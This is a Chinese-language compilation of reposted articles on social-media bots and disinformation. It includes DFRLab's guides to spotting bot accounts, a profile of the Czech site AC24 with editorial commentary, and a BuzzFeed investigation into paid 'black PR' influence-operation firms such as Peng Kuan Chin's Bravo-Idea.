例如，早在2017年8月，DFRLab 的僵尸网络研究就跟踪到了三个看似未关联的帐户 —— NATO发言人 Oana Lungescu，可疑的僵尸牧民（@belyjchelovek）、以及一个带有猫咪头像的帐户（@gagarinprosti）。

「图」

「图」

很有规律的关注顺序

这样的独特活动 —— 例如，以相似的顺序跟随相同的不相关用户 —— 绝不仅仅是巧合，因此可以作为强有力的僵尸网络指示器。

6、位置

最后一个指标（在政治僵尸网络中特别常见）是许多可疑帐户共享的位置。

政治僵尸牧民倾向于使用他们正在推动的竞选候选人或政党所处的位置来尝试推动其在特定选区的内容趋势。

例如，在墨西哥大选之前，一个在普埃布拉州推动两名PRI候选人的僵尸网络，使用的都是普埃布拉作为其所在地。

「图」

「图」

这样做可能是为了确保来自普埃布拉州的真实 Twitter 用户能够看到被该僵尸程序自动放大的推文和帖子。

所有的机器人都是政治机器人吗？

不，大多数机器人都是商业机器人帐户，这意味着它们由团体和个人经营，这些团体和个人扩大了他们为推广而支付的任何内容。

当然可以雇用商业机器人来宣传政治内容。

另一方面，创建政治机器人的唯一目的是扩大特定政党、候选人、利益集团、或观点的政治内容。

DFRLab 在墨西哥大选前发现了多个政治僵尸网络，它们协调行动在普埃布拉州推广PRI政党候选人。

所有俄罗斯机器人都隶属于俄罗斯吗？

不，许多具有俄语/西里尔语ID或用户名的僵尸网络都是由希望在网上谋生的企业家俄罗斯人经营的。

有许多公司和个人在俄罗斯互联网上公开销售 Twitter、Facebook 和 YouTube 的僵尸账户，以及参与、转推和点赞的服务。

这点和中国一样。

尽管他们的服务非常便宜（1,000名追随者3美元），但是拥有1000个机器人的僵尸牧民每天可以服务10个客户，每天赚取33美元以上。

这意味着他们每个月可以赚900美元，这是俄罗斯平均工资的两倍。

「图」

「图」

俄语翻译：1,000个关注者，价格为220卢布（3.34美元），1,000个转发，价格为130卢布（1.97美元），1,000个赞，价格为120卢布（1.82美元）（来源：Doctosmm.com）

例如，DFRLab 观察到，俄罗斯商业僵尸网络扩大了全球的政治内容。

例如，在墨西哥大选前发现了一个僵尸网络，放大了墨西哥的绿党。但是，这些机器人不是政治性的，它们放大了各种不同的帐户，从日本的旅游吉祥物到保险公司的首席执行官。

结论

机器人、僵尸网络和trolls很容易区分，并且可以使用正确的方法和工具进行识别。

但是，要记住的一件事是，除非经过仔细的证明，否则不能将帐户视为机器人或 troll。○□

This //post was originally published// by the Atlantic Council's

Digital Forensic Research Lab (DFRLab). //Donara Barojan// is a Digital Forensic Research Associate at //DFRLab//.

广告

原文

如何创建一个赚大钱的虚假信息业务？ - iyouport

心理战和信息战

【2020年7月31日存档】这个问题有可能并不是这个问题本身的问题……

Ondřej Geršl 在波希米亚南部城市 Ceske Budejovice 长大，一开始做的是调酒师工作，该镇以其拥有数百年历史的啤酒厂而闻名，这是常见职业选择。

经过长时间的倾注和听取顾客们对政治制度的批评，**Gersl** 的野心很快发生了根本性的转变。

他为自己这样的新闻迷创建了一个网站 —— 如今，他主持着该国最流行的也是最具争议的另类新闻帝国之一。

“如今的大部分媒体都在向公众隐瞒重要事实 …… 而我们带来了答案。” Gersl 的新闻业务叫 AC24，它的 Facebook “关于” 部分是这样写的。

Ondřej 说，他成功进入媒体世界是出于良好的商业意识，他致力于通过重新包装其他地方报道的新闻内容并关注 *轰动性话题* 来降低成本。

到2019年1月，AC24 的访问量已经超过100万，在一个仅拥有1000万人口的国家中这个数字令人印象深刻。

在 Facebook 上，AC24 拥有超过 100000 个关注者。在过去的两年中，Gersl 的利润也在不断增长。

但是，他的批评者却有更险恶的看法。他们将 AC24 的受欢迎程度视为当今混乱且细分的媒体环境中的一个警示性故事，它说明了曾经是次边缘网站宣传的另类政治观点如何演变成了侵略性的虚假信息渠道。

捷克非政府智囊机构 European Values 在2016年4月进行的一项研究中对 AC24 进行了评估：该网站“采用了一些操纵技术，从故意的错误信息到将阴谋论作为重大新闻发表。”

捷克和斯洛伐克网站的公共数据库 Kospiratori.sk慌称 AC24 为“克里姆林宫喉舌”。2月13日，该网站上发表的10篇文章中有3篇源于俄罗斯拥有的卫星通讯社的捷克文版本。

随着欧盟选举的到来，AC24 可以在一个国家中发挥重要影响力。民粹主义现任总统 Milos Zeman 呼吁就捷克共和国加入欧盟和北约组织举行全民公决，这两个机构都经常被 AC24 新闻报道所批评。

Gersl 展现自己是一个重塑社会的使者，同时始终在赚钱。

他在 Skype 接受采访时说，他与任何政治运动或政党没有任何联系。他也不拥护特定的意识形态。他说，他正在利用一个市场来获取捷克人渴望消费的各种新闻。

他还承认，他实际上并未检查 AC24 上发布的文章的真实性。

“看起来，我们的网站不是最真实或最值得信赖的网站。我们也并不希望我们的读者仅依赖一种信息来源。他们应该能够比较来自更多来源的信息”，Gersl 说。

Gersl 于2011年左右开始成为现代媒体大亨，当时捷克人和其他欧洲人被阿拉伯世界的革命和占领华尔街的基层运动所吞没。

他建立了一个网站，讨论那些媒体的问题以及其他他认为主流媒体没有报道的社会运动。他说，AC24 的早期版本吸引了“顽固的政治迷”，而且收看的观众并不多。

Gersl 随后雇用了另外两个人，并创办了一家名为《Consciousness》的杂志，这是他打算发表长篇论文和新闻的平台。该杂志的座右铭是“唤醒人们”。

捷克事实检查网站 Manipulatori.cz 的主编 Jan Cemper 自其成立以来一直关注 AC24。他在一次占领集会上遇见了 Gersl，并密切注视着网站进行的彻底变革。

Cemper 说：“当时他们提供了有关示威者要求的信息。他们正在帮助试图改进体制的所有学生运动放大声音。”

随着俄罗斯入侵乌克兰，AC24 的内容于2014年开始发生变化。该网站上的文章描述了由于乌克兰法西斯主义加剧而导致的冲突，这与克里姆林宫官员的一个普遍观点相呼应。

Cemper 说，该网站上的文章语气已转变为对西方政府机构和价值观的完全敌意，“他们开始攻击西方民主的基本原则。”

AC24 还采用了美国和其他市场常见的出版趋势。他缩短了故事的长度，着眼于容易包装的重大新闻故事，这些故事通常伴随着视频。

Gersl 说，他的在线业务比杂志更赚钱。他于2016年5月出版了上一期的《Consciousness》。

“我们以前读过很多很厚的书，但是现在没人对这种东西感兴趣了。我决定将我的钱投入其他方面。从商业角度来讲，这将带来更多附加值”，Gersl 说。

这些天来，典型的 AC24 新闻报道很少超过五段，并且特别关注欧洲右翼政客将其视为从移民到反穆的各种重大威胁。

他们采取耸人听闻的红色标题，例如“美国正在瓦解，但没人关注”，或“比尔·盖茨和全球精英没有为他们自己的孩子接种疫苗，有充分的理由”，与无数的广告横幅并排出现在网站上。

同时，Gersl 说他的利润在增长。 2015年，AC24 获利 100,000 捷克克朗（4,000美元）；而 2017年，这一数字增加到1,100,000捷克克朗（44,000美元）。

- 《假新闻产业触目惊心 互联网人真的如此好骗？》

Gersl 驳斥了像森珀（Cemper）这样的批评家，后者批评他在传播假新闻中的作用。他说，只要能赚钱，他就会继续经营 **AC24**。

他说：“这只是为了适应媒体行业的变化。有些人想要这类信息，因此我们将其提供给他们。”

编者按：这是一件有趣的事。我们记得几年前，VICE制作的纪录片其中有一集讲述特朗普如何上台的背后故事，但是，片中把原因几乎完全归因于“假新闻”。

这是一个主流论调，不论是特朗普上台还是英国脱欧，都被完全归因于虚假消息的盛行。不排除虚假消息的影响力，但是，为什么没有人

反问：“那些虚假消息如何赢得如此多人心的？而不是真实消息？”

很简单，因为他们说出了大众的内心所想。

换句话说，大众有此想法在先，才会被虚假信息所触动 —— 人们认为这些虚假信息恰好 “证实” 了自己的想法；尤其是，大众对那些屈服于审查的主流媒体的普遍厌弃。

于是我们认为，将广泛的问题完全归因于虚假信息是不负责任的，特别是，这一盲目的归因还促使寡头技术平台（谷歌、Facebook、和中国的那些）以 “扫除虚假信息/谣言” 为借口，压制不同意见 —— 信息末日启示录的 “七骑士”。

IYP 非常讨厌虚假消息，但更对其背后的成因感兴趣。每一种新事物的出现都有其背景，就如，如果不是当权者如此擅长掩盖真相，AC24 这类平台也难以赚到这么多的金钱和知名度。

解决根源问题才能解决所有问题，希望抵抗假新闻的人能意识到这点。〇

How to build a disinformation business

原文

如何发现社交媒体上的机器人账户？- 12种方法 - iyouport

心理战和信息战行动技巧、战术和原理让它民主-公民掌握真相的技巧和技术

【2019年12月26日存档】这里是识别虚假账户的一些技巧 —— 请注意，每一个指标都不可以作为单独的判断标准。它们应该结合起来考虑。

“机器人”（冒充真实人类的虚假社交媒体帐户）在 Twitter 等平台上占有重要地位。它们的数量有百万计；最大的僵尸机器人网络有几十万虚假账户彼此关联。

这些“机器人”会严重扭曲民主辩论，尤其是当它们集体出动的时候。

它们可用于操纵热门话题或主题标签趋势；它们还可用于放大或攻击特定的消息或文章；并同时用来骚扰其他用户。

同时，相对而言，许多机器人网络很容易被发现，而无需使用专门的软件或商业分析工具。

本文列出了许多线索，这些线索对于揭露虚假帐户来说都很有用。

第一原则

Twitter 机器人只是一个由软件运行的帐户，类似于自动驾驶飞机。由于可以打开和关闭自动驾驶功能，因此，这些虚假帐户在不同时间的行为是不同的，有时可以像自动程序一样，有时也可以像人类用户一样。

因此，以下提示应被视为 *判断给定时间段内机器人行为* 的指示，而不是该帐户是否“是”机器人的非黑即白定义。

并非所有的机器人都是恶意的或政治攻击性的。自动帐户也可以发布例如诗歌、摄影或新闻（新闻媒体经常使用机器人账户推送内容），

而不会产生任何扭曲的效果。

因此，我们的重点目标应该是伪装成人类并故意放大政治类信息的机器人。

⚠在所有情况下，重要的是要注意，不能依靠任何单一因素来识别类似机器人的行为。重要的是多种因素的组合。根据我们的经验，最重要的三个因素可以称为“三个A”：即 activity, anonymity, & amplification。

1、活动

帐户是否自动执行的最明显指标是其活动。

可以通过查看其个人资料页面并用帖子总数除以其活跃天数来计算得出。

要找到确切的创建日期，请将鼠标悬停在“ Joined…”条目上。

可疑活动的基准各不相同。牛津互联网学院的研究人员认为，平均每天发布 50多个帖子是可疑的；这是一个广泛认可的和应用的基准，但可能偏低。

DFRLab 将每天发送72条推文（连续10个小时，每十分钟发送一次）视为可疑，将每天发布144条以上推文视为高度可疑。

例如，账户 @ sunneversets100 于2016年11月14日创建，这是克里姆林宫信息战的放大器。

到2017年8月28日，该账户共创立了288天。在那个时期，它发布了203,197条推文（同样，确切的数字可以通过将鼠标悬停在“**Tweets**”条目上找到）。

这意味着每天平均有705个帖子，或者说每天平均连续9个小时在线每分钟1个帖子，持续9个月。这不是人类的行为模式。

但是，仅仅发帖数量大并不是判断标准，在热门事件（尤其是选举期间）发帖量大的真实人类账户有很多。

2、匿名性

第二个指标是帐户显示的匿名程度。通常，提供的个人信息越少、成

为机器人的可能性就越大。

例如，@ Sunneversets100 将佛罗伦萨大教堂的照片作为头像，曲线图作为背景，以及匿名的ID和账户名。

唯一的特点是简介里贴的位于美国的政治行动委员会的链接；这远远不足以提供身份证明。

另一个示例是 @BlackManTrump，这是另一个活跃帐户，该帐户在2016年8月28日至2016年12月19日之间发布了89,944条推文（请参阅此处的存档），平均每天发789条帖子。

此帐户完全不提供任何个人信息。简介只是一般性的政治声明，位置标注“美国”。因此没有迹象表明背后隐藏着什么人。

⚠请注意：我们始终会强烈建议您不要在社交媒体上采用任何真实身份信息，不要在简介、头像、帖子中留下任何真实身份信息。这是为了安全。这样做并不会令您被误会为机器人，请一直记得，任何单一指标都不构成判断条件。

3、放大效果

这也许是最重要的指标。因为机器人的主要作用之一是通过转发、点赞或引用其他用户的帖子来增强它们想要传达的信息。

因此，典型机器人的时间轴将包括一系列的转发和新闻标题的完整引用，很少或没有原创帖子。

判断这点的最有效方法是对大量帖子进行机器扫描。但通过点击帐户的“推文和回复”栏并向下滚动最新的200条帖子，就可以进行更简单的识别。

数字200在很大程度上是任意的，旨在提供合理且易于管理的大样本；拥有更多时间的研究人员完全可以查看更多内容。

例如，截至8月28日，机器人 @Sunneversets100 的最后200条推文中有195条是转推，其中许多都是来自克里姆林宫官方媒体的网点：

@BlackManTrump 直到11月14日的大部分帖子都显示出更高的复杂程度，不再有“RT @ ”这类非人的东西出现 。

因此，@ BlackManTrump和 @Sunneversets 都显示出清晰的类似机

器人的行为，结合了很高的活动性、匿名性和针对性放大的迹象。

需要说明的是，@ BlackManTrump 从2016年11月14日至12月13日一直保持沉默；当它恢复发布时，它的发布率要低得多，而且，显然是创作型的推文所占比例升高。

因此，可以说直到11月中旬，它的行为都像一个机器人，但并不是说现在依旧是那个机器人，虽然是同一个账户。

另一种放大技术是对机器人进行编程，使其直接从选定站点共享新闻报道，而无需任何进一步的评论。

当然，直接分享是 Twitter 流量的标准组成部分（例如，欢迎读者分享这篇文章，而不是直接怀疑）。分享本身并不可疑，但是连续发布一长串分享就不同了，比如这样：

4、少量帖子，集中行动

以上讲述的机器人特点是通过单个帐户发布大量内容来实现放大立场的效果。但还有一种是相反的，即 创建大量帐户，每个帐户一次转发一个相同的帖子：即 僵尸网络。

如果用于发布单个帖子的僵尸网络通常处于非活动状态，则可以快速识别它们。

例如，在8月24日，一个名为 @KirstenKellog_ 的账户（现已暂停，但已在此处存档）发布了一条推文，攻击美国调查性新闻组织 ProPublica（propublica.com）。

如上图所示，这是一个活动非常少的帐户。它只发布了12次；其中11个帖子已被删除。它有76个关注者，并且根本没有关注任何帐户。

毫无疑问，它的帖子被转推了，并且被点赞超过23,000次：

同样，第二天，另一个显然是俄罗斯人的帐户发动了几乎相同的攻击，并获得了超过12,000次转发和点赞：

这个帐户也一样是长期闲置的，最早在8月25日发布了6条推文，关注了另外5个帐户：

即使使用#FakeNews（假新闻）和#HateGroup（仇恨团体）这样的标签，两个这样的闲置帐户也能够产生如此多的转推，这超出了合理

的范围。

它们的活动和影响之间的这种差异表明，用于放大它们帐户的周边影响力属于一个僵尸网络。

5、共同的内容

帐户是否属于同一个网络的可能性可以通过查看其帖子来确定。如果这些账户同时发布相同的内容或相同类型的内容，则可以怀疑已对其进行了编程。

例如，在可疑的僵尸网络放大了@KirstenKellog_的情况下，许多帐户共享了相同的帖子，这样：

有时，机器人会以相同的顺序共享所有帖子。以下三个帐户属于7月份确定的同一反特朗普网络的一部分：

8月28日，三个帐户再次以相同的顺序共享相同的内容；@ProletStrivings 在该组合中添加了一条转发：

这样一系列相同的帖子是自动化的经典标志。

6、鸟蛋集中营

最原始的机器人特别容易识别，因为其创建者连头像都不想费心。你经常能看到一大群顶着鸟蛋头像的账户集体出没。

但是，必须说，有一些真人账户出于各种原因不愿使用头像—包括隐私关注的动机，所以，仅仅使用鸟蛋头像并非是机器人的判断标准。

但是，如果一个帖子的转发或点赞的帐户列表看起来像下面这样……

… 或者，某个帐户的“关注者”页面开始看起来像下面这样：

… 一定程度上这就是机器人活动的标志。

7、被盗用的或来自公共资源的照片

其他机器人制造商则更加谨慎，并试图通过从其他来源获取的照片以掩饰其匿名性。

因此，对帐户真实性的一个很好的测试是反向搜索其头像。我们演示过这一调查方法的操作 ，您可以在这里回顾《网络水军如何试图影响

选举？ 一个调查案例，观察对选民的在线心理战》。

再一次，快速反向图片搜索的能力是各种调查的基本功。您可以在这里对比各种搜图工具的特点，以基于您每次不同的调查目标帮助找到最合适的选项《搜图功能哪家强？图像验证方法的能力对比》。

无论您使用上面哪种方法，搜索都会显示带有头像的页面，表明该帐户是否可能盗用了头像：

对于“ Shelly Wilson”，同一网络中的许多帐户实际都使用了该头像，足够确认它们是伪造的：

8、机器人的名字？

另一个判断指标是机器人使用的ID（就是带@的那个名字）。

很多机器人带有仅由算法生成的数字字母组合的ID，就像下面这样：

其他人的账户似乎提供了用户名，但是ID与用户名不匹配，就像下面这样：

还有一些通常具有男性化名字但具有女性头像的账户（在机器人中，这种情况似乎比具有男性形象的女性ID更常见，也许是为吸引男性用户而设计的？）

再或者，男性的ID和女性的用户名搭配，就像这样：

再或者，也可能是完全不同的东西：

所有这些都可能表明该帐户是伪造的，冒充了某人（通常是漂亮的年轻女子）来吸引观众。

再一次：仅仅如此依旧不是绝对的指标。使用女朋友的照片做头像并不意味着您有机器人嫌疑—— 所有这些指标都需要综合起来考虑。

⚠识别造假的类型、以及它是否是机器人，将取决于其具体行为。

9、异常的多语种推文

有些机器人具有政治性，并且只从一种角度发布。

然而，其他的机器人则是商业性的，并且无论其内容如何，似乎只被出价最高的人雇佣。它们的大多数帖子都是非政治性的。但是它们也

可以用来促进政治性的推文。

这种僵尸网络通常以语言使用的极端多样性为标志。

例如，“爱耶稣的女人”埃里克·杨（Erik Young）发布的内容中，显示了阿拉伯语、英语、西班牙语和法语的组合性内容：

西班牙语…

阿拉伯语…

「图」

斯瓦希里语（根据Google翻译）…

印尼语…

中文…

日语…

并非是说擅长多语种的人“可疑”，再一次，依旧需要综合考虑各种指标：尤其是其行为。

10、商业内容

宣传性的确是僵尸网络的经典指标。

如上所述，某些僵尸网络似乎主要是出于商业性而存在的，只是偶尔涉足政治领域。而它们对广告的关注热情往往会出卖它们。

一个很好的例子是机器人的奇怪网络，这些机器人从通常用于赌博的帐户 @ every1bets 转推了一个政治性的帖子。

如下面的列表所示，转推者具有各种身份：

但是他们都倾向于发布高比例的广告内容。

以如此方式转发的帐户，尤其是，如果它们以多种语言显示时，很可能是商业僵尸网络的成员，被雇用给想要放大或发布其帖子的客户 。

11、自动化软件

潜在自动化的另一个线索是使用URL缩短器。

这些主要用于跟踪特定链接上的流量，但是，使用它们的频率可以指示自动化的程度。

例如，一个最近公开的假账户“ Angee Dixson”使用了德国超模 Lorena Rae 的照片，分享了许多右翼政治帖子。每个帖子都标有缩短网址 ift.tt：

请注意：开源情报社区中很多人也使用缩短链接工具，主要是为了节省字数空间 —— 再一次，仅仅使用缩短链接也不是决定性因素。

这是由一家名为 ifttt.com 的公司生产的一种软件，它使用户可以根据多种条件来自动执行其帖子—例如，转发带有给定标签的任何帖子。

因此，充满了 ift.tt 缩短链接的时间线很可能是机器人执行的。

如果其他短链接在整个时间线中重复出现，这种情况也可以显示为机器人。

有些机器人会在网站上发布一长串 ow.ly，这也表明可能是自动化的。Twitter 自己的 TweetDeck 工具允许用户嵌入各种短链，例如 bit.ly 或 tinyurl.com。

顺便说 TweetDeck 是优秀的开源情报调查工具，您可以在这里看到它在调查方面的技巧介绍《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

再次强调，使用缩短链接是很多人的在线生活习惯之一，于是不可以仅仅根据短链接的使用判断是否为机器人。

12、转推和点赞

可以通过比较特定帖子的转发和点赞来收集僵尸网络正在运行的最终指示。

有些机器人被编程为同时转发和点赞相同的推文。在这种情况下，转发和点赞的次数将几乎相同，并且执行转发和点赞的帐户系列也可能完全匹配，就如下面这样：

在此示例中，转发和点赞的次数几乎相同—差异小于0.1％。

完全相同的帐户列表以相同的顺序和时间转发并点赞该推文。

在13,000个用户样本中，这不太可能是巧合。它表明存在一个协调行动的网络，所有这些网络都经过编程以点赞和转发相同的内容。

结论

机器人是Twitter生活中不可分割的一部分。许多机器人是完全合法的。那些不合法的往往具有共同的关键特征。

如上所述，最常见的指标是活动模式、匿名性和针对性放大效果，即机器人识别指标的“三个A”。但也存在其他标准。

比如使用被盗的图像、字母数字组合的不规则ID和不匹配的用户名可能会显示账户的伪造；大量的商业帖子或异常多语种的帖子也是如此。

然而，最重要的是意识。

能够识别机器人的用户不太可能被机器人所操纵；他们甚至可以举报僵尸网络并关闭它们。本文的目的就是帮助更多人识别鉴定机器人。希望对您有所帮助。〇

顺便介绍一个很酷的网站，自动检测僵尸机器人：https://botsentinel.com/

#BotSpot: Twelve Ways to Spot a Bot

原文

如何在网上兜售谎言？- 他们承诺可以"按照你的意愿改变任何现实" - iYouPort

心理战和信息战

专业的信息战雇佣兵的人生，和这个惊人的行业体系如何遍布全球：这是一篇很棒的调查。请注意我们添加的注、以及关联的文章，以帮助您深化理解本文的主题

「图」

「图」

Peng Kuan Chin 掏出他的手机，正迫不及待地准备展示在线操纵的未来。

看不见的服务器开始在网上搜寻中文文章和帖子。系统迅速将单词和句子重新组织为新文本。

他的屏幕上显示由他的产品生成的文章的数量迅速增加，他称其为“Content Farm 自动收集系统”。

文章生成后，**Peng** 控制的一组网站将其发布，紧接着，他运营的数千个虚假社交媒体账号便开始在互联网上传播这些文章，瞬间即可将被操纵的内容发送到新闻源、消息应用收件箱、和搜索结果中。

“我开发这个就是为了操纵舆论的，” Peng 告诉记者。

一家位于台北的调查性新闻网站与 BuzzFeed 新闻合作了这篇文章。

Peng 补充说，自动化和人工智能 “可以迅速产生流量和宣传，比真人要快得多”。

32岁的 Peng 穿着阿迪达斯 Yeezy 运动鞋，戴着金劳力士，坐在台中工业区的一间两层楼高的办公室里，办公室里摆满了金钱蛙和幸运竹等风水物品。他的办公桌上放着一把防暴枪，这种枪可以利用压缩空

气发射非致命性的弹丸。Peng 说，他买这枪是为了“娱乐”。

(编者注：防暴枪是一种用于发射低致命性弹药用作防暴用途的火器。防暴枪可以是特制用作防暴用途的发射器，也可以是装填低致命弹药的一般枪械，例如是散弹枪或榴弹发射器。 最常见的低致命弹药口径有12号口径、37/38mm、40mm榴弹)

在采访中，Peng 详细介绍了他自己从**14**岁时发送垃圾邮件、到被招募帮助马来西亚前总理纳吉布-拉扎克的**2018**年连任竞选活动的人生路径。

Peng 的客户都是亚洲的公司、品牌、政党和候选人。“客户有钱，我不在乎他们要买什么”，他说。他们购买的是一个点到点的在线操纵系统，它可以大规模地操纵目标人群 —— 有目的地引诱投票、产品销售和针对性地改变目标人群的观念。

Peng 的产品是以他在中国看到的自动化软件为蓝本的，他认为大陆以外的人都没看到过。他的技术可能是独一无二的，但是他的公司 Bravo-Idea 却不是独一无二的。

现在，世界范围内存在着这么一个公关和营销公司的行业体系，时刻准备着以合适的价格部署无数虚假账户、虚假叙述和假新闻网站。

如果说2016年信息战的特点是马其顿假新闻网站推送亲特朗普的假新闻和俄罗斯trolls在平台上横行，那么，**2020**年将成为专业的信息战雇佣兵主导的向任何愿意付费的人提供复杂的在线操纵行动的一年。

（编者注：马其顿的假新闻网站事件是由马其顿的一位著名媒体律师 Trajche Arsov 发起的，他在与选举日重叠的时期内与两个知名的美国合作伙伴紧密合作了至少六个月。其中一位美国人 Paris Wade 当时正在内华达州竞选公职。 Arsov 还雇用了其他美国和英国作家，其中至少包括目前在美国右翼阴谋网站 Gateway Pundit 工作的一名作家）

在全球范围内，政客、政党、政府和其他客户纷纷去雇佣那些被业内称为“黑公关”的公司来传播谎言和操纵网络舆论。

- 推荐这份报告《看清信息战：2019全球社交媒体有组织操纵清单》
- 以及《所有信息都是战略性的：信息地缘政治》
- 关于信息战操纵和抵御方法，详见 列表-3 “守门人和斗智”

BuzzFeed 新闻发现，自2011年以来，至少有27个在线信息业务部分或全部归功于PR黑公关或营销公司。其中，仅2019年就有19起。

「图」

「图」

最近，在去年12月下旬，Twitter 宣布删除了5000多个帐户，并称这是营销公司 **Smaat** 在沙特进行的 “国家支持的重要信息行动” 的一部分。

同一天，Facebook 宣布删除了数百个代表格鲁吉亚政府从事 “外国干预行动” 的帐户、页面和群组。它将这次行动归功于格鲁吉亚的广告代理商 **Panda** 和该国的执政党。

Facebook 网络安全政策负责人 Nathaniel Gleicher 告诉 BuzzFeed 新闻，“欺骗的专业化” 正日益成为威胁。

他说：“欺骗和影响力运营的广泛概念已经存在很长一段时间了，但是，在过去的几年中，我们已经看到这类公司的不断成长 —— 它们基本上建立了围绕欺骗的业务模型。”

尽管 Peng 可能是最老练的黑公关从业者之一，但他远非独一无二。对沙特和格鲁吉亚的揭露是在一些国家的营销和公关公司遭到类似的打击和调查之后才出现的，比如以色列、埃及、阿联酋、乌克兰、巴西、印尼和波兰。

Cindy Otis 曾任中央情报局官员，也是《中央情报局分析师发现假新闻指南》的作者，他对 BuzzFeed 新闻说，俄罗斯和伊朗等民族国家的信息运作为 “有钱人和个人提供了一个剧本”，让更多人有动力去探索这个空间。”

Otis 说，黑公关的出现意味着安全公司和情报界内部的调查人员需要 “花费越来越多的时间去寻找那些以出租虚假信息为目的的服务”。

以色列的黑公关公司 **Archimedes Group** 创建了由数百个 Facebook 页面、帐户和群组组成的信息战网络，其网站上吹嘘说 “它将使用各种工具并利用一切可用的优势来改变现实 —— 满足客户的愿望。”

最可恶的是该黑公关公司甚至假扮裁判 —— 事实核查。

在马里举行的一次选举中，黑公关公司 Archimedes Group 管理了一

个虚假的事实检查页面，该页面谎称由当地学生经营；在突尼斯，它又运行了一个页面，标题为 “Stop à la Désinformation et aux Mensonges”（“停止虚假信息和谎言”）。

这具有非常严重的误导性和操纵性。

在尼日利亚，该黑公关刊登了一系列页面，一部分鼓吹并同时另一部分反对同一位政治人物 —— 前副总统 Atiku Abubakar。也就是信息战最典型的操作之一：同时提供两极分化的信息以撕裂社会，让民主失效，专制趁虚而入。

研究人员推测，支持 Abubakar 的页面 “可能旨在钓鱼他的支持者，以便以后以反 Abubakar 的内容作为进攻目标。”

在乌克兰，黑公关公司 **Pragmatico** 雇佣了数十名精通数字技术的年轻人，在虚假的 Facebook 账户上对客户进行正面评价。

在波兰，**Cat@Net** 管理着由在家工作的残疾员工运营的虚假 **Twitter** 账户网络，该机构之所以雇用这些人，是因为可以以低于市场的价格支付他们的工资，而他们却可以获得政府补贴。

Investigate Europe 的报告还发现，Cat@Net 为波兰最著名的公关公司之一 Art-Media 工作。（该公司否认与 Cat@Net 合作）

在波多黎各，记者披露，前州长 Ricardo Rosselló 是一个 Telegram 群聊的管理员，在这个群聊中，来自营销公司 **KOI** 的一名顾问在策划和指导社交媒体信息战活动，推销亲政府的信息并攻击竞争对手。8月，Rosselló 辞职，部分原因是对这些聊天的广泛愤慨。

「图」

「图」

Peng Kuan Chin

Peng 的职业生涯路线图足够说明了在线操纵服务如何从单人运营演变为公开宣传其服务、并雇用大批员工的代理机构。

14岁那年，Peng 写了一个垃圾邮件程序，往台湾人的邮箱里塞垃圾邮件。“利用在一个房间里的30台电脑，我成了一个非常大的发送垃圾邮件的玩家。” Peng 说，“我想在台湾，每**2**个人中就有**1**个人收到过我负责的垃圾邮件。”

在高中的时候，他创造了一个软件，向流行的互联网留言板发送垃圾信息，并将产品标示为“自动公告发布包”。其中一则消息问色情网站的访问者：“你知道过度手淫会导致阳痿和早泄吗？”彭说，这则制造恐惧的广告有助于推动他所推动的男性增强药的销售。

Peng 在流行的中文留言板上创建了数千个假帐户，以宣传他和他的客户的产品。他很快就开始通过 **Skype** 制作和销售网站、并提供有关如何在线赚钱的咨询服务。

“我主持了太多的项目，甚至嗓子都哑了！那时我是一名高中生，我的母亲想知道我整天在手机上做什么”，他说。

2011年，台湾各地学校的歌手参加了一个热门电视比赛。Peng 的母校获胜；其表演者获得了超过**4100**万张网络投票，几乎是台湾人口的两倍。一名校方官员向记者证实，学校曾要求 Peng 帮助拉票，但拒绝进一步评论。

从2013年，Peng 就开始研发他的“内容农场自动采集系统”。他的客户使用他的系统，用人工智能生成的文字洪流来压倒他们选择的任何互联网角落，以影响搜索结果。（也就是愚弄搜索算法）

Peng 通过购买他能在淘宝网（阿里巴巴旗下的大型中国电子商务网站）上找到的所有社交媒体和 SEO 服务来完善这个系统。

他说：“一开始，我被骗了几次，因为我不太了解这类软件，其中许多是假的或无用的。”

Peng 指示他的六个开发人员建立了一个受其所见所闻启发的系统。

“这种营销逻辑是针对中国**14**亿的庞大人口，（内容）只有在有量的情况下才能吸引到眼球”，他说，“相比之下，台湾只有2300万人口。应用这个逻辑，我会在最短的时间内创造出最大的流量，我传播的信息也会到达每个人的眼前。”

- ○ ■ ■ ■ 虽然 Peng 专注于自动化，但其他地方的黑公关公司却依靠体力劳动，对代码进行暴力处理。

对于调查记者 Vasil Bidun 来说，这意味着他要在基辅时髦的 Podil 社区每天上8小时的班。他将登录不同的虚假 Facebook 账户并作出评论支持候选人，同时批评该候选人的对手，或将对话引向特定方向，也就是操纵舆论。

当时乌克兰的总统选举正在进行，他说他的雇主 Pragmatico 似乎已经与几个竞选公职的人取得了合同。

“我们的目的是刺激一个人的情绪反应”，Bidun 在接受采访时说，“如果他们读了一条评论，即使 [他们明白] 这是一个机器人写的，也可能会影响他们的情绪，他们会变得更加难以控制自己。”

- 《如何经营一个假新闻帝国》

但 Bidun 并不只是在这个黑公关公司打卡上班的人。在该机构卧底三个月后，他发表了一篇深度调查报告。他和其他大约50名公司的员工在一间公寓里工作，三班轮换。

他说，那些人大部分是学生，想赚外快，每月只有300多美元。没有人谈论工作的道德问题 —— 他们只是做了他们被告知的事，目标基本是保守派和进步派政治家的候选人，也包括流行音乐家 Svyatoslav Vakarchuk。

他说：“那是暑假，这是一种赚点钱的方法 …… 大多数人对他们的工作可能带来的后果并没有太多考虑；他们只是按要求写东西。”

在 Bidun 的调查报告于2019年9月发布的前两天，Facebook 宣布删除了该平台上该公司的资产 —— 共有168个帐户，149个页面，和79个群组。

这家社交媒体巨头还透露，**Pragmatico** 已经在广告上花费了**160**万美元，对乌克兰市场来说这可是一笔不小的数目。

（编者注：不要小看小和穷的国家，他们依旧不惜倾囊以资助信息战的运营。这足够说明信息战及其背后的黑公关产业的能力和魅力 —— 每一种战争都包括心理战，能掌握人心的人就能掌握世界。社交媒体为信息战心理操纵提供了绝佳的途径，而 Facebook 这类寡头，在赚够了钱之前绝不会消灭那些推手。）

揭露并不足以抵制它们，黑公关产业继续在东欧其他地区的社交媒体上蓬勃发展。

今年，Katarzyna Pruszkiewicz 在为《欧洲调查》做报告时，花了六个月的时间为一家波兰黑公关公司 Cat@Net 秘密工作，该公司将自己描述为“由专家组成的 ePR 机构，他们为公司、私人和公共机构服务，帮客户建立良好形象，主要是在社交媒体上。”

“ Cat@Net 说它是一家公关公司，但实际上它是一个巨魔农场。他们做了非常多的假账户，” Pruszkiewicz 告诉 BuzzFeed 新闻。（该公司在其网站上发布的声明中否认它是一个巨魔农场）

